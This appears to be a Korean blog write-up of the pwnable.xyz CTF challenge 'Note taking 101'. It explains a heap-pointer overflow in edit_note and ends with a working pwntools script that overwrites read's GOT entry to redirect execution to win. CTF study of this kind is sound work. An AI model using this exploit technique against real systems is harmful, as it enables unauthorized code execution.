메모... 101..

 

Canary, NX 가 걸려있는 64bit 바이너리이다.

 

 

Edit note와 Edit desc 이렇게 두 개의 메뉴가 있다.

 

[main]

int __cdecl main(int argc, const char **argv, const char **envp)
{
  const char *v3; // rdi
  int v4; // eax

  setup();
  v3 = "Note taking 101.";
  puts("Note taking 101.");
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        print_menu();
        v4 = read_int32();
        if ( v4 != 1 )
          break;
        edit_note((__int64)v3, (__int64)argv);
      }
      if ( v4 != 2 )
        break;
      edit_desc();
    }
    if ( !v4 )
      break;
    v3 = "Invalid";
    puts("Invalid");
  }
  return 0;
}

 

read_int32함수로 메뉴 인덱스를 입력받고 입력 받은 인덱스에 따라 edit_note나 edit_desc함수를 실행시켜 준다.

 

[read_int32]

int read_int32()
{
  char buf; // [rsp+0h] [rbp-30h]
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  read(0, &buf, 0x20uLL);
  return atoi(&buf);
}

 

read_int32함수에는 따로 특이한 부분은 없다.

 

그러면 edit_note함수부터 확인해보자.

 

[edit_note]

void __fastcall edit_note(__int64 a1, __int64 a2)
{
  int v2; // ST04_4
  void *buf; // ST08_8

  printf("Note len? ", a2);
  v2 = read_int32();
  buf = malloc(v2);
  printf("note: ");
  read(0, buf, v2);
  strncpy(s, (const char *)buf, v2);
  free(buf);
}

 

note의 길이를 read_int32로 입력 받고 입력 받은 길이만큼 buf에 malloc으로 메모리를 할당해준다. 그 후 read함수로 buf에 입력 받은 길이만큼 입력 값을 쓰고 strncpy를 이용해서 buf의 내용을 입력 받은 note의 길이만큼 s라는 변수에 복사해준 후 buf는 free해준다.

 

s는 32byte만큼 할당되어 있는데 note의 길이를 입력 받을 때 길이 제한을 두지 않았기 때문에 32byte보다 더 많은 값을 입력할 수 있다. s아래에 있는 buf는 edit_desc에서 사용된다.

 

[edit_desc]

ssize_t edit_desc()
{
  if ( !buf )
    buf = malloc(0x20uLL);
  printf("desc: ");
  return read(0, buf, 0x20uLL);
}

 

만약 buf가 NULL이라면 malloc으로 0x20byte만큼의 메모리를 할당해 준 후 read함수로 0x20만큼 입력 값을 쓸 수 있게 해주는 함수이다.

 

어떤식으로 접근해야 할 지 바로 생각해 볼 수 있다.

 

1. edit_note함수를 이용해서 buf에 read_got를 적어준다.

2. edit_desc함수를 이용해서 read_got에 win함수의 주소를 적어준다.

3. read_int32에 있는 read함수가 호출되면서 win이 실행된다.

 

[payload]

from pwn import *

context.log_level = 'debug'

r = remote("svc.pwnable.xyz", 30016)
#p = process('./challenge')

read_got = p64(0x601248)
win = p64(0x40093c)

payload = ''
payload += "A"*32
payload += read_got

r.sendlineafter("> ", "1")
r.sendlineafter("? ", "45")
r.sendlineafter("note: ", payload)

r.sendlineafter("> ", "2")
r.sendlineafter("desc: ", win)

r.interactive()

 

근데 문제에 있던 101은 무슨 뜻이지..?

'pwnable > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] two targets  (0) 2020.05.26
[pwnable.xyz] xor  (0) 2020.05.19
[pwnable.xyz] GrowUp  (0) 2020.04.25
[pwnable.xyz] misalignment  (0) 2020.04.17
[pwnable.xyz] add  (0) 2020.04.16

+ Recent posts